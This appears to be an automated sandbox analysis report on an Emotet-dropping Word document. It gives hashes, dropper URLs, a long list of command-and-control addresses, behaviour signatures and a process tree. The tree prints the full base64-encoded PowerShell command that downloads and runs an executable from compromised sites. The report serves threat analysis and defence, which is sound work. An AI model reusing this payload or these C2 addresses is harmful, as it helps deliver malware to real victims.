Analysis
- max time kernel
139s - max time network
151s - platform
windows10_x64 - resource
win10v200722 - submitted
16/09/2020, 22:30
Static task
static1
Behavioral task
behavioral1
Sample
ARC-I1258.doc
Resource
win7
General
- Target ARC-I1258.doc
- Size 169KB
- Sample200916-fpk2majn3x
- SHA256 504498770a0cb41f2aa3b2b3a7c0fbc05e62716c3f45043fa7fe1a4a89f3c5a5
- MD5 89075faedf394aeedc6eed9dc6f4e5b4
- SHA1 605ce2120912c891c9b2bf9c50466dc6e16c4ccf
- SHA512 755e1f999962f11490f351d8f03d8d7f7a055d5c45543a39cea5aabc148d629efd46e0803c8e05da68bfc2151eb9c455f74b6e246c14b74098661a3273e246c6
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://theccwork.com/mail.theccwork.com/IJp/
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exe.dropper
https://www.retirementprofessional.com/wp-admin/tjQ/
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exe.dropper
https://writingfromling.live/wp-admin/GL/
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exe.dropper
http://shahqutubuddin.org/ix/
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exe.dropper
https://jumpstart.store/wp-admin/q/
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exe.dropper
https://aidenshirt.com/wp-admin/e6f/
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exe.dropper
https://edenrug.store/wp-admin/H/
Extracted
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emotet
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174.113.69.136:80
-
51.38.124.206:80
-
82.196.15.205:8080
-
38.88.126.202:8080
-
190.115.18.139:8080
-
98.13.75.196:80
-
181.30.61.163:443
-
82.76.111.249:443
-
181.129.96.162:8080
-
74.58.215.226:80
-
68.69.155.181:80
-
188.135.15.49:80
-
190.163.31.26:80
-
50.121.220.50:80
-
51.159.23.217:443
-
2.47.112.152:80
-
185.215.227.107:443
-
217.13.106.14:8080
-
70.32.115.157:8080
-
170.81.48.2:80
-
73.213.208.163:80
-
5.196.35.138:7080
-
190.24.243.186:80
-
192.241.143.52:8080
-
185.183.16.47:80
-
184.66.18.83:80
-
187.162.248.237:80
-
220.109.145.69:80
-
51.255.165.160:8080
-
82.230.1.24:80
-
94.176.234.118:443
-
104.131.103.37:8080
-
50.28.51.143:8080
-
12.162.84.2:8080
-
74.136.144.133:80
-
77.90.136.129:8080
-
68.183.190.199:8080
-
96.245.123.149:80
-
177.74.228.34:80
-
213.197.182.158:8080
-
45.46.37.97:80
-
110.142.219.51:80
-
192.241.146.84:8080
-
189.2.177.210:443
-
177.73.0.98:443
-
61.197.92.216:80
-
185.178.10.77:80
-
212.71.237.140:8080
-
65.36.62.20:80
-
190.195.129.227:8090
-
217.199.160.224:7080
-
138.97.60.141:7080
-
155.186.0.121:80
-
204.225.249.100:7080
-
92.24.50.153:80
-
83.169.21.32:7080
-
190.6.193.152:8080
-
219.92.13.25:80
-
186.103.141.250:443
-
80.11.164.185:80
-
45.16.226.117:443
-
67.247.242.247:80
-
190.2.31.172:80
-
77.238.212.227:80
-
64.201.88.132:80
-
185.94.252.27:443
-
199.203.62.165:80
-
190.147.137.153:443
-
111.67.77.202:8080
-
172.104.169.32:8080
-
5.189.178.202:8080
-
190.190.148.27:8080
-
191.182.6.118:80
-
45.161.242.102:80
-
70.32.84.74:8080
-
45.33.77.42:8080
-
72.47.248.48:7080
-
114.158.45.53:80
-
209.236.123.42:8080
-
137.74.106.111:7080
-
54.37.42.48:8080
-
95.9.180.128:80
-
96.227.52.8:443
-
152.169.22.67:80
-
104.131.41.185:8080
-
77.106.157.34:8080
-
111.67.12.221:8080
-
61.92.159.208:8080
-
178.250.54.208:8080
-
68.183.170.114:8080
-
78.249.119.122:80
-
186.70.127.199:8090
-
216.47.196.104:80
-
185.94.252.12:80
-
87.106.46.107:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2788 4012 powershell.exe 72 - Emotet Payload 8 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/2748-11-0x0000000000680000-0x0000000000692000-memory.dmp emotet behavioral2/memory/2748-11-0x0000000000680000-0x0000000000692000-memory.dmp emotet behavioral2/memory/2748-12-0x0000000000B60000-0x0000000000B70000-memory.dmp emotet behavioral2/memory/2748-12-0x0000000000B60000-0x0000000000B70000-memory.dmp emotet behavioral2/memory/2248-15-0x00000000008C0000-0x00000000008D2000-memory.dmp emotet behavioral2/memory/2248-15-0x00000000008C0000-0x00000000008D2000-memory.dmp emotet behavioral2/memory/2248-16-0x00000000008E0000-0x00000000008F0000-memory.dmp emotet behavioral2/memory/2248-16-0x00000000008E0000-0x00000000008F0000-memory.dmp emotet - Blacklisted process makes network request 2 IoCs
flow pid Process 19 2788 powershell.exe 21 2788 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 2748 K2ngq9rh.exe 2248 SensorsNativeApi.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\rasdlg\SensorsNativeApi.exe K2ngq9rh.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3984 WINWORD.EXE 3984 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 2788 powershell.exe 2788 powershell.exe 2788 powershell.exe 2248 SensorsNativeApi.exe 2248 SensorsNativeApi.exe 2248 SensorsNativeApi.exe 2248 SensorsNativeApi.exe 2248 SensorsNativeApi.exe 2248 SensorsNativeApi.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2788 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 3984 WINWORD.EXE 2748 K2ngq9rh.exe 2748 K2ngq9rh.exe 2248 SensorsNativeApi.exe 2248 SensorsNativeApi.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2788 wrote to memory of 2748 2788 powershell.exe 78 PID 2788 wrote to memory of 2748 2788 powershell.exe 78 PID 2788 wrote to memory of 2748 2788 powershell.exe 78 PID 2748 wrote to memory of 2248 2748 K2ngq9rh.exe 79 PID 2748 wrote to memory of 2248 2748 K2ngq9rh.exe 79 PID 2748 wrote to memory of 2248 2748 K2ngq9rh.exe 79
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\ARC-I1258.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3984
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -encod JABUADMAaABmAHMAOAB5AD0AKAAoACcARwA2ACcAKwAnAHIAJwArACcAMQA0AG0AJwApACsAJwB3ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAcgBwAHIATwBGAEkATABFAFwAbQAzAFkAZgBhADAAOQBcAGYARQBkAG0AUQBzAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBpAFQAeQBwAHIATwBgAFQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAJwApACsAJwBsACcAKwAoACcAcwAnACsAJwAxADEAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUgBjAG0AOABjAGIAegAgAD0AIAAoACgAJwBLACcAKwAnADIAbgAnACkAKwAnAGcAcQAnACsAKAAnADkAcgAnACsAJwBoACcAKQApADsAJABVAHoAZgBzADUAXwBnAD0AKAAoACcARgBmACcAKwAnAGwAJwApACsAJwA1ACcAKwAoACcAdABxACcAKwAnAHYAJwApACkAOwAkAEQAZwAzADgAawB2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAegAnACsAKAAnAG8ASgAnACsAJwBNADMAeQAnACkAKwAoACcAZgBhADAAOQAnACsAJwB6AG8AJwApACsAKAAnAEoAJwArACcARgBlAGQAbQBxAHMAdQAnACsAJwB6ACcAKQArACcAbwAnACsAJwBKACcAKQAuACIAcgBFAGAAcABgAEwAQQBDAEUAIgAoACgAWwBDAEgAYQBSAF0AMQAyADIAKwBbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcANAApACwAWwBzAHQAcgBpAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFIAYwBtADgAYwBiAHoAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOABmAHIAaQBoADgAPQAoACcATAAnACsAKAAnADkAMQAnACsAJwBlAG8AJwApACsAJwB5ADUAJwApADsAJABGADYAagBuAGwAagA0AD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcARQBiAGMAbABJAEUATgB0ADsAJABBAG8AawBmADQAZgBpAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwArACcAZQAnACkAKwAnAGMAJwArACgAJwBjAHcAbwAnACsAJwByACcAKwAnAGsALgBjAG8AJwApACsAKAAnAG0ALwBtAGEAJwArACcAaQAnACkAKwAoACcAbAAnACsAJwAuAHQAaABlAGMAJwApACsAKAAnAGMAJwArACcAdwBvACcAKwAnAHIAawAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAEkAJwArACcASgBwACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAvAHcAdwB3AC4AcgBlAHQAaQByAGUAbQBlACcAKwAnAG4AJwArACcAdABwACcAKwAnAHIAbwAnACsAJwBmAGUAcwAnACkAKwAoACcAcwBpAG8AJwArACcAbgAnACkAKwAoACcAYQBsACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBhAGQAbQBpAG4AJwArACcALwAnACsAJwB0AGoAUQAnACsAJwAvACoAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwB3AHIAaQAnACkAKwAoACcAdABpAG4AJwArACcAZwBmACcAKQArACgAJwByAG8AbQAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZwAuACcAKQArACgAJwBsACcAKwAnAGkAdgAnACkAKwAoACcAZQAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACsAJwBuAC8ARwBMACcAKQArACcALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AcwBoAGEAaABxAHUAdAB1AGIAdQAnACsAJwBkAGQAJwArACcAaQAnACsAJwBuACcAKQArACcALgAnACsAJwBvACcAKwAnAHIAJwArACgAJwBnACcAKwAnAC8AaQB4AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAGoAdQAnACsAJwBtACcAKQArACgAJwBwAHMAdABhAHIAdAAuAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwByAGUALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwArACcAcQAvACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAcwA6AC8ALwAnACsAJwBhACcAKQArACgAJwBpAGQAZQAnACsAJwBuAHMAJwArACcAaABpACcAKQArACcAcgB0ACcAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhACcAKwAnAGQAbQAnACsAJwBpAG4ALwBlADYAJwApACsAKAAnAGYALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6ACcAKQArACgAJwAvACcAKwAnAC8AZQBkACcAKwAnAGUAbgByACcAKQArACgAJwB1AGcALgAnACsAJwBzAHQAJwArACcAbwByAGUALwAnACkAKwAoACcAdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuACcAKQArACgAJwAvACcAKwAnAEgALwAnACkAKQAuACIAcwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABBADgAMQBpAHQAOQBwAD0AKAAnAEkAJwArACgAJwBnAHYAaABrADUAJwArACcANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAYwB5ADUAOQBlAGQAIABpAG4AIAAkAEEAbwBrAGYANABmAGkAKQB7AHQAcgB5AHsAJABGADYAagBuAGwAagA0AC4AIgBEAGAATwB3AE4ATABvAEEARABgAEYASQBgAGwAZQAiACgAJABSAGMAeQA1ADkAZQBkACwAIAAkAEQAZwAzADgAawB2AGYAKQA7ACQAVQBjAGcAYgBsADIAYQA9ACgAJwBVACcAKwAoACcAeABiACcAKwAnADcAawBiACcAKQArACcAZQAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARABnADMAOABrAHYAZgApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAMQAxADAAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABEAGcAMwA4AGsAdgBmACkAOwAkAEEANQB3ADEAbQB1AG0APQAoACgAJwBIAGYAJwArACcAYgB4ADEAaQAnACkAKwAnAHgAJwApADsAYgByAGUAYQBrADsAJABMAG0AbABzADMAXwBrAD0AKAAnAEQAJwArACcAcQAnACsAKAAnADgANwB1ACcAKwAnAHcAawAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQA2AGsAYQBqAHUAcQA9ACgAJwBXAHYAJwArACgAJwBiAHYAJwArACcAXwAnACkAKwAnADAAYwAnACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2788 -
C:\Users\Admin\M3yfa09\Fedmqsu\K2ngq9rh.exe"C:\Users\Admin\M3yfa09\Fedmqsu\K2ngq9rh.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2748 -
C:\Windows\SysWOW64\rasdlg\SensorsNativeApi.exe"C:\Windows\SysWOW64\rasdlg\SensorsNativeApi.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2248
-
-